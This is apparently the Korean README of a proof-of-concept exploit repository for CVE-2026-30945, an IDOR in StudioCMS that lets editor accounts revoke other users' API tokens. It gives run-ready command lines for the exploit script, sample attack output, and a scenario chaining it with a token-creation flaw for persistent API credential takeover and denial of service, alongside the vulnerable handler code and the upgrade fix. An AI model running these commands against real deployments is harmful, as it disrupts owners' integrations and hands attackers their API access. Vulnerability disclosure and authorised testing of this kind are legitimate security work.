
# CVE-2026-30945 개념 증명 익스플로잇 StudioCMS의 IDOR 취약점으로, 임의 API 토큰 폐기 및 서비스 거부(DoS)를 허용합니다. 수동 및 자동 테스트 모드를 포함합니다.
StudioCMS IDOR — 임의 API 토큰 폐기로 인한 서비스 거부(Denial of Service)
StudioCMS ≤ 0.3.0의 DELETE /studiocms_api/dashboard/api-tokens 엔드포인트는 editor 이상의 권한을 가진 모든 인증된 사용자가 다른 모든 사용자(admin 및 owner 계정 포함)의 API 토큰을 폐기할 수 있도록 허용합니다.
해당 핸들러는 토큰 소유권, 호출자 신원 또는 역할 계층 구조를 검증하지 않고 tokenID와 userID를 요청 페이로드에서 직접 수락합니다. 이로 인해 중요한 통합 및 자동화 시스템에 대한 표적형 서비스 거부(DoS) 공격이 가능해집니다.
관련: 이 취약점은 CVE-2026-30944(토큰 생성 IDOR)와 동일한 근본 원인을 공유합니다. 함께 연쇄적으로 사용될 경우, 공격자는 정당한 토큰을 폐기하고 새 토큰을 생성하여 완전한 API 자격 증명 탈취를 달성할 수 있습니다.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ 공격자 │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ 서버 │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ 소유자의 │
│ CI/CD │
│ 파이프라인 │──► ❌ 401 Unauthorized
│ 통합 │──► ❌ API 접근 상실
│ 모니터링 │──► ❌ 무음 실패
└──────────────┘
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: 사용자 제어 키를 통한 권한 부여 우회 |
| CWE (보조) | CWE-863: 잘못된 권한 부여 |
| MITRE ATT&CK | T1531 — 계정 접근 제거 |
| OWASP API | API1:2023 — 객체 수준 권한 부여 손상 |
| 영향 버전 | studiocms ≤ 0.3.0 |
| 수정 버전 | studiocms 0.4.0 |
| 파일 | 설명 |
|---|---|
cve_2026_30945_poc.py | 수동 및 자동 모드를 지원하는 Python 익스플로잇 스크립트 |
README.md | 이 파일 |
LICENSE | MIT 라이선스 |
Editor 계정의 유효한 자격 증명pip install requests colorama
# 소유자에게 속한 특정 토큰 폐기
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# CVE-2026-30944와 연쇄: 먼저 대상의 토큰 생성
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 결과를 JSON으로 저장
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# 여러 역할로 테스트
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| 인자 | 설명 |
|---|---|
-u, --url | 대상 StudioCMS 기본 URL |
--target-uuid | 토큰이 폐기될 대상 사용자 UUID |
| 인자 | 설명 |
|---|---|
--token-id | 폐기할 내부 토큰 레코드 UUID (JWT 아님). 생략 시 스크립트가 CVE-2026-30944를 통해 먼저 토큰 생성을 시도합니다 |
| 인자 | 설명 |
|---|---|
--username | 인증용 사용자 이름 |
--password | 인증용 비밀번호 |
| 인자 | 설명 |
|---|---|
--auto-test | 자동 다중 역할 테스트 활성화 |
--editor-user | Editor 계정 사용자 이름 |
--editor-pass | Editor 계정 비밀번호 |
--visitor-user | Visitor 계정 사용자 이름 |
--visitor-pass | Visitor 계정 비밀번호 |
| 인자 | 설명 |
|---|---|
--save | 결과를 JSON 파일로 저장 |
--no-ssl-verify | SSL 인증서 검증 비활성화 |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] 'editor01'로 인증됨
[*] 세션 사용자: editor01 (editor)
[*] 세션 UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 토큰 ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] 대상의 API 토큰 폐기 중...
[+] 토큰 폐기됨! 서버 응답: Token deleted
[!] 취약점 확인됨 — 토큰이 성공적으로 폐기되었습니다!
[!] 대상 사용자의 API 통합이 이제 중단되었습니다 (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 토큰 ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] 대상의 API 토큰 폐기 중...
[*] 접근 거부됨 (403 Forbidden) — 엔드포인트가 패치되었을 수 있음
[-] 폐기 실패: 접근 거부됨 (403 Forbidden)
토큰 생성 IDOR(CVE-2026-30944)과 결합하면, 공격자는 완전한 API 자격 증명 탈취를 수행할 수 있습니다:
Step 1: 소유자의 정당한 토큰 폐기 (CVE-2026-30945)
└──► 소유자의 CI/CD 파이프라인이 무음으로 중단됨
Step 2: 소유자를 위한 새 토큰 생성 (CVE-2026-30944)
└──► 공격자가 이제 소유자 수준의 API 접근 권한을 보유
Step 3: 소유자가 수정을 위해 새 토큰 생성
└──► 공격자가 다시 폐기 (지속적 DoS)
이로 인해 공격자가 소유자의 API 접근 권한에 대한 지속적인 통제권을 유지하고, 소유자가 생성하는 모든 새 토큰을 반복적으로 폐기하면서 자신의 불법 접근 권한을 유지하는 시나리오가 발생합니다.
packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (58–99행)의 취약한 핸들러는 요청 본문에서 tokenID와 userID를 수락하고, 권한 부여 검사 없이 삭제 함수에 직접 전달합니다:
// [1] 호출자가 editor인지만 확인 — 누구의 토큰을 삭제하는지는 확인하지 않음
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 두 값 모두 요청 본문에서 가져옴 — 세션에 대한 검증 없음
const jsonData = yield* readAPIContextJson<{
tokenID: string; // 소유권 확인 없음
userID: string; // 신원 확인 없음
}>(ctx);
// [3] 파괴적 작업에 직접 전달 — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
이 핸들러에는 다섯 가지 뚜렷한 결함이 있습니다: 불충분한 권한 게이트, 토큰 소유권 검증 부재, 호출자 신원 확인 누락, 역할 계층 구조 강제 부재, 그리고 사용자 제어 값의 파괴적 작업에 대한 직접 전달입니다.
StudioCMS를 버전 0.4.0 이상으로 업데이트하세요:
npm install studiocms@latest
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
Filipe Gaudard
이 PoC는 교육 목적으로 MIT 라이선스 하에 배포됩니다. 책임감 있고 윤리적으로 사용하세요.